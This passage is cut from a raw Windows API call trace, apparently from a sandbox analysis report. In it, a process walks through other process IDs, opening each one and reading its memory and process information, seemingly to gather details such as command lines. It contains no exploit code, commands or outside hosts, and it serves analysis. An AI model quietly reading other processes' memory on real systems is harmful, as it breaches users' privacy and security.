ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.318] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ba018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.318] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.318] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.318] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.318] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.319] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.319] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ba020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.319] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.319] malloc (_Size=0x72) returned 0xea89a0 [0313.319] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d22c2, lpBuffer=0xea89a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea89a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.320] free (_Block=0xea89a0) [0313.320] CloseHandle (hObject=0xa9c) returned 1 [0313.320] _ui64tow_s (in: _Value=0x148c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5260") returned 0x0 [0313.320] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5260") returned 4 [0313.321] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.321] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.321] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148c) returned 0xa9c [0313.321] GetLastError () returned 0x0 [0313.322] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.322] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x38a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.322] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.335] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.335] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.335] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.335] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x38a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.336] malloc (_Size=0x62) returned 0xeb63f0 [0313.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22b2, lpBuffer=0xeb63f0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0313.337] free (_Block=0xeb63f0) [0313.337] CloseHandle (hObject=0xa9c) returned 1 [0313.337] _ui64tow_s (in: _Value=0x14cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5324") returned 0x0 [0313.391] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5324") returned 4 [0313.391] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.391] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.392] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14cc) returned 0xa9c [0313.392] GetLastError () returned 0x0 [0313.392] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.392] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.392] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.392] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.393] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.393] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.393] malloc (_Size=0x54) returned 0xeaa950 [0313.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22a4, lpBuffer=0xeaa950, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa950*, lpNumberOfBytesRead=0x0) returned 1 [0313.394] free (_Block=0xeaa950) [0313.394] CloseHandle (hObject=0xa9c) returned 1 [0313.395] _ui64tow_s (in: _Value=0x14d8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5336") returned 0x0 [0313.395] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5336") returned 4 [0313.395] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.395] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.396] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14d8) returned 0xa9c [0313.396] GetLastError () returned 0x0 [0313.396] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.396] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.396] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.396] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.397] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.397] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.397] malloc (_Size=0x72) returned 0xea8ea0 [0313.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5522c2, lpBuffer=0xea8ea0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ea0*, lpNumberOfBytesRead=0x0) returned 1 [0313.398] free (_Block=0xea8ea0) [0313.398] CloseHandle (hObject=0xa9c) returned 1 [0313.398] _ui64tow_s (in: _Value=0x14e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5352") returned 0x0 [0313.399] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5352") returned 4 [0313.399] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.399] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.400] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14e8) returned 0x0 [0313.400] CloseHandle (hObject=0x0) returned 0 [0313.401] _ui64tow_s (in: _Value=0x1520, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5408") returned 0x0 [0313.401] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5408") returned 4 [0313.401] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.401] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.402] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1520) returned 0xa9c [0313.402] GetLastError () returned 0x0 [0313.402] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.402] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.402] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.402] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.403] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b2258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.403] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.403] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.403] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.403] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.404] malloc (_Size=0x68) returned 0xeb6700 [0313.404] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b22b8, lpBuffer=0xeb6700, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0313.404] free (_Block=0xeb6700) [0313.404] CloseHandle (hObject=0xa9c) returned 1 [0313.405] _ui64tow_s (in: _Value=0x154c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5452") returned 0x0 [0313.405] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5452") returned 4 [0313.405] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.405] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.406] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x154c) returned 0xa9c [0313.406] GetLastError () returned 0x0 [0313.406] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.406] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x39d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.406] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.407] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.407] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d2258, lpBuffer=0x5ec5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.407] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.407] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.407] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x39d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.407] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.408] malloc (_Size=0x76) returned 0xea9620 [0313.408] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d22c6, lpBuffer=0xea9620, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0313.408] free (_Block=0xea9620) [0313.409] CloseHandle (hObject=0xa9c) returned 1 [0313.409] _ui64tow_s (in: _Value=0x1568, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5480") returned 0x0 [0313.409] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5480") returned 4 [0313.409] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.409] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.410] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1568) returned 0xa9c [0313.410] GetLastError () returned 0x0 [0313.410] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.410] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x35f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.410] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.411] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.411] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.411] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.411] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.411] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x35f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.411] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.412] malloc (_Size=0x7a) returned 0xe87f70 [0313.412] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22ca, lpBuffer=0xe87f70, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87f70*, lpNumberOfBytesRead=0x0) returned 1 [0313.413] free (_Block=0xe87f70) [0313.413] CloseHandle (hObject=0xa9c) returned 1 [0313.413] _ui64tow_s (in: _Value=0x1574, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5492") returned 0x0 [0313.413] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5492") returned 4 [0313.413] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.413] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.414] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1574) returned 0xa9c [0313.414] GetLastError () returned 0x0 [0313.414] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.414] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.415] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.415] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.415] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.415] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.415] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.448] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.448] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.448] malloc (_Size=0x76) returned 0xea9320 [0313.448] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22c6, lpBuffer=0xea9320, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9320*, lpNumberOfBytesRead=0x0) returned 1 [0313.449] free (_Block=0xea9320) [0313.449] CloseHandle (hObject=0xa9c) returned 1 [0313.449] _ui64tow_s (in: _Value=0x15b0, 